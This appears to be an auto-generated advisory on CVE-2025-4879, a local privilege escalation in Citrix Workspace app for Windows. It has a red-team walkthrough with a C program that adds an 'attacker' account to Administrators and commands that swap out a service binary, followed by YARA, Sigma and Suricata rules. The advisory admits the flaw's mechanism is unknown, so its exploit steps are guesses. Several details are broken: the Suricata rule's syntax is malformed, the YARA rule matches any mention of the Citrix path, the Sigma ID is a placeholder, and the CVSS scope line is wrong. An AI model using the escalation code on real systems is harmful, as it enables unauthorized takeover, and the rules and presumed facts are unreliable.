CVE-2025-4879

Executive Summary

CVE-2025-4879 is a local privilege escalation vulnerability in Citrix Workspace app for Windows. A low-privileged user can exploit this flaw to gain SYSTEM privileges, the highest level of access on a Windows system. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The CVSS score is listed as 0.0, likely indicating incomplete scoring data rather than no risk. Given the potential for full system compromise, this vulnerability poses a critical risk to organizations using Citrix Workspace app for Windows.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Incomplete data – likely high severity due to privilege escalation to SYSTEM)
• Attack Vector: Local (requires low-privileged access to the system)
• Attack Complexity: Unknown (likely low, as typical LPEs exploit misconfigurations or weak permissions)
• Privileges Required: Low
• User Interaction: None
• Scope: Unchanged (the vulnerable component is the OS)
• Confidentiality Impact: High (SYSTEM access allows reading all files)
• Integrity Impact: High (SYSTEM access allows modifying system files)
• Availability Impact: High (SYSTEM access can disrupt services)
• Threat Level: Critical – full system compromise from a low-privileged user.

Deep Dive & Mechanics

The vulnerability resides in the Citrix Workspace app for Windows, a client application used to connect to virtual desktops and applications. The exact mechanism is not publicly disclosed, but typical local privilege escalation (LPE) vulnerabilities in such software arise from:

• Insecure Service Permissions: The Citrix Workspace app may install a Windows service with weak permissions, allowing a low-privileged user to modify the service binary or configuration to execute arbitrary code as SYSTEM.
• DLL Hijacking: The application may load a DLL from a path writable by a low-privileged user, enabling code injection.
• Named Pipe Impersonation: The app may create a named pipe that a low-privileged user can connect to and impersonate the SYSTEM account.
• Unquoted Service Path: A service path with spaces and no quotes can be exploited to execute a malicious binary.

The attack requires the attacker to already have a foothold on the target system (e.g., via malware, phishing, or another vulnerability). Once executed, the exploit grants SYSTEM privileges, allowing the attacker to install persistent backdoors, disable security software, and move laterally across the network.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is within the Citrix Workspace app for Windows binaries. Without a patch, the exact vulnerable code path is unknown. However, typical LPE fixes involve:

• Vulnerable: A service running as SYSTEM with weak DACLs (Discretionary Access Control Lists) allowing BUILTIN\Users to modify the service.
• Patched: The service DACL is hardened to only allow SYSTEM and Administrators to modify it.

Exploitation & Lab Setup

Red Team

Objective: Escalate from a low-privileged user to SYSTEM on a Windows system with Citrix Workspace app installed.

Prerequisites:

• Low-privileged shell on the target (e.g., via phishing or another exploit).
• Citrix Workspace app for Windows installed (version unknown).

Steps (Hypothetical, based on common LPE patterns):

1. Enumerate Services: Use sc query or PowerShell to list services related to Citrix.

   Get-Service | Where-Object {$_.DisplayName -like "*Citrix*"}
   

2. Check Service Permissions: Use icacls or accesschk to check if a low-privileged user can modify the service binary or configuration.

   icacls "C:\Program Files\Citrix\Workspace\CitrixWorkspaceService.exe"
   

3. Exploit Weak Permissions: If the service binary is writable, replace it with a malicious executable that creates a new user or adds the current user to the Administrators group.

   // malicious_service.c
   #include <windows.h>
   int main() {
       system("net user attacker Password123! /add");
       system("net localgroup Administrators attacker /add");
       return 0;
   }
   

   Compile and replace the service binary, then restart the service:

   sc stop CitrixWorkspaceService
   copy malicious_service.exe "C:\Program Files\Citrix\Workspace\CitrixWorkspaceService.exe"
   sc start CitrixWorkspaceService
   

4. Verify Privilege Escalation: The attacker should now be a member of the Administrators group and can run commands as SYSTEM.

Blue Team

Detection & Prevention:

• Monitor Service Changes: Enable auditing for service creation, modification, and deletion (Event ID 7045).
• File Integrity Monitoring: Monitor changes to Citrix Workspace app binaries and configuration files.
• Least Privilege: Ensure users do not have write access to system directories.
• Application Control: Use AppLocker or Windows Defender Application Control to block unauthorized executables.
• Endpoint Detection and Response (EDR): Deploy EDR solutions that can detect anomalous process behavior, such as a service binary being replaced.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): Unknown (no PoC available). Monitor for unknown executables in C:\Program Files\Citrix\Workspace\.
• Process Names: cmd.exe or powershell.exe spawned by a Citrix service.
• Registry Keys: Modifications to HKLM\SYSTEM\CurrentControlSet\Services\CitrixWorkspaceService.
• Network Connections: Outbound connections from SYSTEM-level processes to unknown IPs (post-exploitation C2).
• Event Logs:
  • Event ID 7045 (Service creation/modification)
  • Event ID 4672 (Special privileges assigned to new logon)
  • Event ID 4688 (Process creation with high integrity level)

Detection Engineering

YARA Rule

rule CVE_2025_4879_Citrix_LPE {
    meta:
        description = "Detects potential exploitation of CVE-2025-4879 by monitoring for Citrix service binary modifications"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $s1 = "CitrixWorkspaceService.exe" nocase
        $s2 = "C:\\Program Files\\Citrix\\Workspace\\" nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: Citrix Workspace LPE - Service Binary Modification
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects modification of Citrix Workspace service binary, potential CVE-2025-4879 exploitation
author: Valters IT
date: 2025/04/10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains: 'Citrix\Workspace\CitrixWorkspaceService.exe'
    condition: selection
falsepositives:
    - Legitimate Citrix updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-4879 Citrix LPE - Potential C2 Beacon"; flow:to_server,established; content:"|POST|"; http_method; content:"/api/"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Apply the principle of least privilege. Remove local administrator rights from standard users.
• Short-term: Monitor Citrix for an official patch. Restrict installation of Citrix Workspace app to only necessary users.
• Long-term: Implement application whitelisting and endpoint hardening. Use a robust EDR solution to detect and block LPE attempts.
• Workaround: If possible, use Citrix Workspace app in a sandboxed environment or virtual machine.

Valters IT